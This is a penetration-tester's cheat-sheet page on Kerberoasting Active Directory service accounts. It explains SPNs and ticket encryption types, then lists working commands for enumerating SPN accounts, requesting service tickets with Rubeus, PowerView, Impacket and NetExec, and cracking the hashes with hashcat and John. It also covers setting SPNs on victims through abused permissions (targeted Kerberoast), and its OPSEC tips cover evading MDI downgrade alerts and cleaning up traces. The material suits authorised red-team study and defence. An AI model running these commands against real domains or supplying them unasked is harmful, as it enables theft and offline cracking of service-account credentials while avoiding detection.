# Kerberoasting

## Overview

{% hint style="info" %}

* [SIEGECAST: Kerberoasting & Attacks 101](https://www.youtube.com/watch?v=Jaa2LmZaNeU)
* [Attacking Active Directory - Kerberoasting](https://www.youtube.com/watch?v=-3MxoxdzFNI)
  {% endhint %}

{% hint style="info" %}
Typically, Kerberoasting happens after compromising a valid domain user. However, according to [new research](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/), it is possible to perform this attack with an account susceptible to [ASREPRoast](https://x7331.gitbook.io/boxes/tl-dr/active-directory/attacks/as-reproasting). For an example of this attack vector check [Rebound](https://x7331.gitbook.io/boxes/boxes/insane/rebound#kerberoasting).
{% endhint %}

{% hint style="warning" %}
**OPSEC:** Kerberoasting is a very silent attack. Only one logged entry is created when requesting the TGS (`4769`). There are typically thousands of those events on a DC per day.
{% endhint %}

Kerberoasting is an attack on the TGS and Service Principal Names (SPNs). SPNs are unique IDs that Kerberos uses to map a service instance, for example MySQL, to a service sign-in account, such as `svc_mysql`, in whose, often privileged, context the service is running. Any domain user, or `SYSTEM` access on a domain-joined host, can request a TGS from the DC for any SPN account. The TGS is encrypted with the service's account NTLM hash, so it can potentially be cracked.

{% code overflow="wrap" %}

```
                         TGS-REP
  (encrypted with the already known User-KDC session key)
+--------------------------------------------------------+
|	+----------------------------------------------------+ |
|	|  1. User-Service session key                       | |
|	|     (Same session key as in the TGS)               | |
|	+----------------------------------------------------+ |
|                                                        |
|	+----------------------------------------------------+ |
|	|  2. Service Ticket (TGS)                           | |
|	|     +-------------------------------------------+  | |
|	|     | User information                          |  | |
|	|     | +                                         |  | | -------> Kerberoast 
|	|     | User / Service session key                |  | |            
|	|     +-------------------------------------------+  | |
|	|     Encrypted with the service account's secret    | |
+	+----------------------------------------------------+ |
```

{% endcode %}

### Service vs User Accounts

When a new service is deployed in an environment using Kerberos, it is registered with an SPN, which acts as an alias that uniquely identifies the service. In modern and well-configured environments, services are typically associated with machine or managed service accounts. These accounts, like the `krbtgt` account, are designed to use strong, automatically generated passwords that can auto-rotate periodically. For example, machine accounts (such as `HOSTNAME$`) use long, randomly generated passwords which significantly reduces the likelihood of successful offline cracking.

However, not all vendors or legacy applications support managed service accounts. As a result, SPNs may instead be associated with standard user accounts, which introduces a higher risk because password strength and rotation depend on manual management. In some cases, automatic password rotation may also cause operational issues if the service or application is not designed to handle credential updates properly.

{% hint style="success" %}
If an SPN is tied to a user account and the corresponding TGS cannot be cracked, this is still as a low or informational finding. It highlights the presence of potentially weak password practices and indicates that successful credential recovery may still be possible under different conditions.
{% endhint %}

### AES vs RC4 Encryption

From an attack perspective, encryption type is an important factor. Legacy RC4-encrypted TGS (`$krb5tgs$23$`) are generally easier to crack than those encrypted with stronger AES algorithms (`$krbtgs$18`). Even in environments that primarily use AES, tools such as Rubeus can sometimes request RC4-encrypted tickets using options like `/tgtdeleg`, provided RC4 remains enabled for compatibility with older systems.

## Tools

### Windows

{% hint style="info" %}
Target user accounts with SPNs and Service Accounts with RC4.
{% endhint %}

{% hint style="warning" %}
**OPSEC**: To evade detection mechanisms that flag Kerberos encryption downgrades, like MDI, focus on service accounts that are configured to support only `RC4-HMAC`. Requesting a TGS for them using RC4 appears legitimate and does not trigger downgrade alerts. In addition, try to Kerberoast a single user at a time as this is not seen as an anomaly. \
\
E.g. `.\Rubeus.exe kerberoast /user:svcadmin /simple /rc4opsec`&#x20;
{% endhint %}

{% code overflow="wrap" %}

```powershell
#----------------------------------------#
# Enumeration of Kerberoastable accounts #
#----------------------------------------#

# LDAP query for listing users with a non-empty SPN
&(objectCategory=person)(objectClass=user)(servicePrincipalName=*)

# AD module
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} - Properties ServicePrincipalName

# PowerView
Get-DomainUser * -SPN | select samaccountname,serviceprincipalname

# Rubeus
.\Rubeus.exe kerberoast /stats

#---------------#
# Kerberoasting #
#---------------#

# Kerberoast all SPNs with PowerView
Invoke-Kerberoast

# Kerberoast all SPNs with PowerView
Get-DomainUser * -SPN -verbose |  Get-DomainSPNTicket -Format Hashcat | Export-Csv .\ilfreight_spns.csv -NoTypeInformation

# Kerberoast the target account with PowerView
Get-DomainUser -Identity sqldev | Get-DomainSPNTicket -Format Hashcat

# Kerberoast the target account and extract the hash with PowerView
Get-DomainUser -Identity svc_mssql | Get-DomainSPNTicket -Format Hashcat | ForEach-Object { $_.Hash -replace '\s+', '' }

# Kerberoast all SPNs with Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast /format:hashcat /nowrap

# Kerberoast a single user with Rubeus
.\Rubeus.exe kerberoast /user:svcadmin /simple

# Kerberoast the target account using explicit credentials
.\Rubeus.exe kerberoast /creduser:domain\user1 /credpassword:pass /user:targetUser /outfile:hash.txt /format:hashcat /nowrap

# Kerberoast an AS-REPRoastable account with known SPN
.\Rubeus.exe kerberoast /nopreauth:asreproastable.user /domain:batman.local /spn:MSSQLSvc/SQL01:1433 /nowrap /dc:10.10.10.1

# Kerberoast an AS-REPRoastable account against a list of SPNs
.\Rubeus.exe kerberoast /nopreauth:asreproastable.user /domain:batman.local /spns:listofspns.txt /nowrap

#---------------#
# Hash cracking #
#---------------#

# Hashcat
hashcat -m 13100 hashes.kerberoast rockyou.txt -r best64.rule --force

# John
.\john.exe --wordlist=<wordlist> hashes.kerberoast

#----------#
# Clean Up #
#----------#

# Clear the SPNs of the target account with PowerView
Set-DomainObject -Identity sqldev -Clear serviceprincipalname
```

{% endcode %}

### Linux

{% hint style="info" %}

* [Impacket GetUserSPNs & Kerberoasting Explained](https://www.youtube.com/watch?v=xH5T9-m9QXw)
* For an example of Kerberoasting using NetExec, see [Active](https://x7331.gitbook.io/boxes/boxes/easy/active#eop-via-kerberoasting).
* For an example of Kerberoasting using Rubeus see [Sizzle](https://x7331.gitbook.io/boxes/boxes/insane/sizzle#path-to-victory).
  {% endhint %}

{% hint style="warning" %}
If time sync errors occur (`KRB_AP_ERR_SKEW(Clock skew too great)`) → `sudo ntpdate <dc-ip>`.
{% endhint %}

{% code overflow="wrap" %}

```bash
#----------------------------------------#
# Enumeration of Kerberoastable accounts #
#----------------------------------------#

# Impacket
impacket-GetUserSPNs -request -dc-ip 192.168.50.70 batman.local/x7331 -outputfile users.txt

#---------------#
# Kerberoasting #
#---------------#

# NetExec
nxc ldap 192.168.0.104 -u user -p pass --kerberoasting output.txt

# Kerberoast an AS-REPRoastable account
impacket-GetUserSPNs -no-preauth asreproastable.user -usersfile domain_users -dc-host 10.10.11.231 batman.local/ -outputfile kerberoastable_users.txt

#---------------#
# Hash cracking #
#---------------#

# Hashcat
hashcat -m 13100 hashes.kerberoast rockyou.txt -r best64.rule --force

# John
.\john.exe --wordlist=<wordlist> hashes.kerberoast
```

{% endcode %}

## Targeted Kerberoast

If we have `GenericAll`, `GenericWrite`, `WriteProperty`, `WriteSPN`, or `ValidatedSPN` over a user object, we can set an SPN on it, request a TGS for this SPN, and then extract and potentially crack the user's hash.

{% hint style="warning" %}
**OPSEC**: Clean up by removing the SPN afterwards.
{% endhint %}

### Windows

{% code overflow="wrap" %}

```powershell
# Set a SPN for the target user (must be unique for the forest) (PowerView)
Set-DomainObject -Identity bob -Set @{serviceprincipalname='random/stuff'}

# Set a SPN for the target user (must be unique for the forest) with AD module
Set-ADUser -Identity bob -ServicePrincipalNames @{Add='random/stuff'}

# Confirm that the SPN was set (PowerView)
Get-DomainUser bob | Select serviceprincipalname

# Obtain a TGS and extract the hash (PowerView)
Get-DomainUser -Identity bob | Get-DomainSPNTicket | Select-Object -ExpandProperty Hash

# Clean up (PowerView)
Set-DomainObject -Identity bob -Clear serviceprincipalnam
```

{% endcode %}

### Linux

This attack can be carried out using the [targetedKerberoast.py](https://github.com/ShutdownRepo/targetedKerberoast) tool. The script automates the process by attempting to assign a temporary SPN to user accounts that do not already have one. Once the SPN is set, the tool requests a TGS and extracts the corresponding Kerberos hash, which can later be cracked offline. After completing the process, the tool removes the SPN to restore the original state of the account and reduce the likelihood of detection.

{% code overflow="wrap" %}

```bash
targetedKerberoast.py -v -d marvel.local -u x7331 -p 'Passw0rd123!' --request-user bob --dc-ip 10.10.10.81
```

{% endcode %}

{% code overflow="wrap" %}

```bash
# Add an SPN
bloodyad -d mollysec.local --host dc.mollysec.local -u molly -p 'Pass123!' -k set object bob servicePrincipalName -v 'HTTP/DoesNotMatter'

# Kerberoast
nxc smb mollysec.local -u molly -p 'Pass123!' -k --kerberoast - --kerberoast-account bob
```

{% endcode %}
